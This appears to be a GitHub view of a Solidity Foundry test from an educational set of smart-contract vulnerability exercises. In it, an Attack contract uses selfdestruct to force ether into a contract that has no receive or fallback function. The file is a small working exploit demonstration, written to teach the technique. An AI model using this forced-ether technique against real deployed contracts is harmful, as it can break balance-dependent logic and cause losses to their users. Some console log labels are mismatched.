-
Notifications
You must be signed in to change notification settings - Fork 278
/
Selfdestruct2.sol
55 lines (45 loc) · 1.29 KB
/
Selfdestruct2.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
/*
This excersise is about selfdestructing (deprecated) and force sending ether to a contract
Force implements neither receive nor fallaback functions. Calls with any value will revert.
*/
contract ContractTest is Test {
Force ForceContract;
Attack AttackerContract;
function testselfdestruct2() public {
ForceContract = new Force();
console.log("Balance of ForceContract:", address(this).balance);
AttackerContract = new Attack();
console.log(
"Balance of ForceContract:",
address(ForceContract).balance
);
console.log(
"Balance of AttackerContract:",
address(AttackerContract).balance
);
AttackerContract.attack{value: 1 ether}(address(ForceContract));
console.log("Exploit completed");
console.log(
"Balance of EtherGameContract:",
address(ForceContract).balance
);
}
receive() external payable {}
}
contract Force {
/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
}
contract Attack {
function attack(address force) public payable {
selfdestruct(payable(force));
}
}